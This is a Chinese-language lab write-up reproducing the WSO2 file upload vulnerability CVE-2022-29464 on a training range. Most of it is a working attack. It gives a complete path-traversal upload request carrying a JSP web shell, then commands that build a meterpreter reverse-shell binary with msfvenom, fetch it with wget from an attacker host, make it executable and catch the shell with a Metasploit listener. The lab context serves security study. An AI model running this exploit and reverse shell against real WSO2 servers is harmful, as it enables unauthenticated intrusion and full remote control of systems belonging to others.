WSO2文件上传漏洞(CVE-2022-29464)
漏洞背景
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
这里我用的环境是春秋云镜的靶场。https://yunjing.ichunqiu.com/
漏洞原理
漏洞复现
1、访问漏洞地址,是一个登录框
2、刷新该登录页面,burp抓包。
3、构造数据包,重放,只需要修改host值就行。就会上传一个wavesky.jsp文件到指定目录。
POST /fileupload/toolsAny HTTP/2 Host: eci-2zebq0nhwv7a0w8g9ev5.cloudeci1.ichunqiu.com:9443 Accept: */* Accept-Encoding: gzip, deflate Content-Length: 901 Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0 User-Agent: python-requests/2.22.0 --4ef9f369a86bfaadf5ec3177278d49c0 Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/wavesky.jsp" <FORM> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre> --4ef9f369a86bfaadf5ec3177278d49c0--
4、访问我们上传的文件:http://eci-2zebq0nhwv7a0w8g9ev5.cloudeci1.ichunqiu.com:9445/authenticationendpoint/wavesky.jsp?cmd=ls
5、这里执行命令太麻烦,我们可以利用msf生成一个木马,用wget下载到该目标机器中执行,让其反弹回一个shell。
msf生成linux木马命令:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4567 -f elf -o syr.elf
6、生成木马文件后,再改目录下利用python开启一个http服务,让靶机能够访问到。
python3 -m http.server 9999
7、在我们的jsp文件目录下利用wget下载syr.elf文件,
wget http://192.168.1.1:9999/syr.elf
并给syr.elf文件一个执行权限: chmod 777 syr.elf
8、开启msf的监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.1
set lport 4567
run
9、执行syr.elf文件 ./syr.elf
10、在我们的msf中就成功拿到靶机的shell了
之后在根目录下就能看到flag了